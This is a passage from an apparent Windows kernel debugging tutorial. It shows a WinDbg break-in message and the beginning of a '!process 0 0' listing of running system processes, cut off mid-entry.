15
16
17
18
Break instruction exception - code 80000003 (first chance)
*******************************************************************************
*                                                                             *
*   You are seeing this message because you pressed either                    *
*       CTRL+C (if you run kd.exe) or,                                        *
*       CTRL+BREAK (if you run WinDBG),                                       *
*   on your debugger machine's keyboard.                                      *
*                                                                             *
*                   THIS IS NOT A BUG OR A SYSTEM CRASH                       *
*                                                                             *
* If you did not intend to break into the debugger, press the "g" key, then   *
* press the "Enter" key now.  This message might immediately reappear.  If it *
* does, press "g" and "Enter" again.                                          *
*                                                                             *
*******************************************************************************
nt!RtlpBreakWithStatusInstruction:
8288e7b8 cc              int     3
kd>

Now we have broken into the kernel, this means that anything we do will be in the context of the kernel, we can see this in the debugger:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
kd> .process
Implicit process is now 844bdae8
kd> !process 0 0
**** NT ACTIVE PROCESS DUMP ****
PROCESS 844bdae8  SessionId: none  Cid: 0004    Peb: 00000000  ParentCid: 0000
    DirBase: 00185000  ObjectTable: 88401c78  HandleCount: 463.
    Image: System

PROCESS 85027020  SessionId: none  Cid: 00ec    Peb: 7ffd4000  ParentCid: 0004
    DirBase: 5f228020  ObjectTable: 89496538  HandleCount:  29.
    Image: smss.exe

PROCESS 85702030  SessionId: 0  Cid: 0140    Peb: 7ffd6000  ParentCid: 0134
    DirBase: 5f228060  ObjectTable: 91695508  HandleCount: 389.
    Image: csrss.exe

PROCESS 84520378  SessionId: 0  Cid: 0170    Peb: 7ffdf000  ParentCid: 0134
    DirBase: 5f2280a0  ObjectTable: 93023448  HandleCount:  87.
    Image: wininit.exe

PROCESS 850e7030  SessionId: 1  Cid: 0178    Peb: 7ffda000  ParentCid: 0168
    DirBase: 5f228040  ObjectTable: 885f5520  HandleCount: 176.
    Image: csrss.exe

PROCESS 8572f530  SessionId: 1  Cid: 0194    Peb: 7ffdb000  ParentCid: 0168
    DirBase: 5f2280c0  ObjectTable: 93020e70  HandleCount: 117.
    Image: winlogon.exe

PROCESS 857e2c48  SessionId: 0  Cid: 01dc    Peb: 7ffd6000  ParentCid: 0170
    DirBase: 5f228080  ObjectTable: 98040678  HandleCount: 245.
    Image: services.exe

PROCESS 857fb980  SessionId: 0  Cid: 01e4    Peb: 7ffdf000  ParentCid: 0170
    DirBase: 5f2280e0  ObjectTable: 9805ba38  HandleCount: 504.
    Image: lsass.exe

PROCESS 857fc678  SessionId: 0  Cid: 01ec    Peb: 7ffdf000  ParentCid: 0170
    DirBase: 5f228100  ObjectTable: 9805dcf0  HandleCount: 144.
    Image: lsm.exe

PROCESS 8582c858  SessionId: 0  Cid: 0258    Peb: 7ffd6000  ParentCid: 01dc
    DirBase: 5f228120  ObjectTable: 98168ef8  HandleCount: 352.
    Image: svchost.exe

PROCESS 85845848  SessionId: 0  Cid: 02a4    Peb: 7ffd3000  ParentCid: 01dc
    DirBase: 5f228140  ObjectTable: 93182530  HandleCount: 241.
    Image: svchost.exe

PROCESS 8585b568  SessionId: 0  Cid: 02e0    Peb: 7ffd7000  ParentCid: 01dc
    DirBase: 5f228160  ObjectTable: 980d5468  HandleCount: 383.
    Image: svchost.exe

PROCESS 85897628  SessionId: 0  Cid: 0350    Peb: 7ffdf000  ParentCid: 01dc
    DirBase: 5f2281a0  ObjectTable: 8ca18bc0  Ha